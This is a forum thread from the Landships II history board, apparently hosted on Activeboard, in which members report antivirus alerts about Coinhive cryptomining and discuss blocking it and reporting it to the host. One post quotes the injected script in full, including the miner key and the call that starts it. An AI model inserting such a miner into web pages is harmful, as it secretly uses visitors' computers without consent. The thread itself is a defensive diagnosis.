Landships II

Members Login
Username 
 
Password 
    Remember Me  
Post Info TOPIC: Virus warning


Commander in Chief

Status: Offline
Posts: 517
Date:
Virus warning
Permalink   


Everytime I come on the forum, my AVG blocks a site called coinhive.com, as it has a data mining virus. Anybody else get this?



__________________


Colonel

Status: Offline
Posts: 234
Date:
Permalink   

Yes, the same here. It started last week and has stopped this weekend.

It is blocked bij my virusscanner.

Willem



__________________


Sergeant

Status: Offline
Posts: 41
Date:
Permalink   

Yep. Me too. Still happening.



__________________


Legend

Status: Online
Posts: 1699
Date:
Permalink   

It's built into the page - Coinhive is a nasty piece of crap that tries to use any computer hitting that web page

to get some free processing for bitcoin mining. The offending piece of code on the activeboard page is:

 

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>

var miner = new CoinHive.Anonymous('JntxuNWNVvu7sGkUjCDHArA2r1TUTv8t',{threads: 1, throttle: 0.30});

miner.start();

 

Activeboard really is down in the slime if they think that's a good way to treat users. That code is coming off the Activeboard

server. Easy way to kill it is not to leave an Activeboard tab open - Coinhive is part of the web page.

Charlie

 

Edit: I found a way to block the call to CoinHive - added a custom filter to Adblock.   



-- Edited by CharlieC on Tuesday 10th of October 2017 10:43:41 AM



-- Edited by CharlieC on Tuesday 10th of October 2017 12:22:07 PM

__________________
Ned


Lieutenant-Colonel

Status: Offline
Posts: 154
Date:
Permalink   

Is Activeboard aware of this ? could it be that their servers were infected without them knowing it.

I have just installed No Coin, and NoMiner on my Firefox browser. They seem to be working, they show how many attempts they have blocked.

I'm not promoting this in anyway (and I have no stock in this), i'm just giving information on what I am using to block coinhive.

 



-- Edited by Ned on Tuesday 10th of October 2017 06:31:19 PM

__________________


Legend

Status: Online
Posts: 1699
Date:
Permalink   

 

I reported the Coinhive script to Sparklit - the owner of Activeboard. They got back to me saying this had occurred on a few forums

and that they were investigating.

They pointed out that a forum owner can add html/script to the basic pages. I got back to them pointing out the landships forum

has had no forum owner for years and it's likely Activeboard has a hacking/staffing problem.

Charlie

 



__________________
Ned


Lieutenant-Colonel

Status: Offline
Posts: 154
Date:
Permalink   

Thanks Charlie, I was thinking that activeboard/Sparklit would not do it themselves, but a hacker of sorts..



__________________


Legend

Status: Offline
Posts: 1316
Date:
Permalink   

Do I need to do anything given I have security software? (I'm not an IT geek so a plain English answer would be appreciated, if possible). Thanks

Gwyn

__________________

Britain to Stay in EU. We are the 48%.



Legend

Status: Online
Posts: 1699
Date:
Permalink   

I'm not sure there is a simple answer. Like many things in IT - "it depends".

If your security software is alerting you to the attempt to download Coinhive or similar then you don't have to do anything

the security software will stop the rogue software running. If you are not getting alerts it means Coinhive is getting through

the local security check and is probably leaching some of your computer resources while you have the Landships forum open.

If this is the case then you can install a blocker plugin on your browser - there were some suggestions in an earlier post - or add

a filter to adblock - if you are running adblock. 

I've tried both solutions and they work equally well.

Regards,

Charlie

 



__________________


Legend

Status: Offline
Posts: 1316
Date:
Permalink   

Thank you. I hadn't got any notifications from my security software before tonight, but now it's going mad telling me it's blocked an attack by coinminer.

Gwyn

__________________

Britain to Stay in EU. We are the 48%.



Sergeant

Status: Offline
Posts: 36
Date:
Permalink   

Gwyn Evans wrote:

Thank you. I hadn't got any notifications from my security software before tonight, but now it's going mad telling me it's blocked an attack by coinminer.

Gwyn

Possibly had an update to your virus software?

By the way, according to my Norton the infection seems to come from these spam postings advertising 'writing' services?  It's really up to the host of the forums to sort this out or find a new host.

jh

 



__________________
jch


Legend

Status: Online
Posts: 1699
Date:
Permalink   

 

Norton speak with forked tongue (kinky isn't it?).

The call and instantiation of the coin miner is being inserted into the page code during page assembly at the server.

The spam writing services are actual posts - possibly from a bot. If we had high level owner control the accounts this crap

is using would be gone in a flash.

Charlie

 



__________________
Ned


Lieutenant-Colonel

Status: Offline
Posts: 154
Date:
Permalink   

Who originally setup the Landships forum ? that's the person that can change it.



__________________


Legend

Status: Online
Posts: 1699
Date:
Permalink   

Peter Kempf - been missing for many years. He also set up the landships.freeservers website - we retrieved

that and rebuilt it as Landships II.

Charlie



__________________
Ned


Lieutenant-Colonel

Status: Offline
Posts: 154
Date:
Permalink   

Sounds to me that the owners Sparklit / Activeboard people need to give you support, since you are paying for the site as it is.

I know this is easier said then done. But they do owe you help / service, especially when it concerns a form of virus..



__________________


Legend

Status: Online
Posts: 1699
Date:
Permalink   

Ned wrote:

Sounds to me that the owners Sparklit / Activeboard people need to give you support, since you are paying for the site as it is.

I know this is easier said then done. But they do owe you help / service, especially when it concerns a form of virus..


 As far as I know the Activeboard forum is a legacy deal which either was paid for or had revenue from ads. I run Adblock so I have no idea

whether Activeboard displays ads on the website. There used to be a counter on the bottom of the forum pages showing the current financial

status but this disappeared years ago.

I'm not going to hold my breath waiting for Sparklit to do anything - they look like the usual IT corporation - totally disinterested in everything

except that which affects their bottom line. 

(When I used to work in IT the amount of whining from IT employees about how people seemed to hate IT companies was prodigious. It never seemed

to dawn on people the responsibility for this was down to the management and financial personnel of IT organisations - shitheads and psychopaths were complimentary

terms for them.)

Charlie



__________________
Page 1 of 1  sorted by
 
Quick Reply

Please log in to post quick replies.

Tweet this page Post to Digg Post to Del.icio.us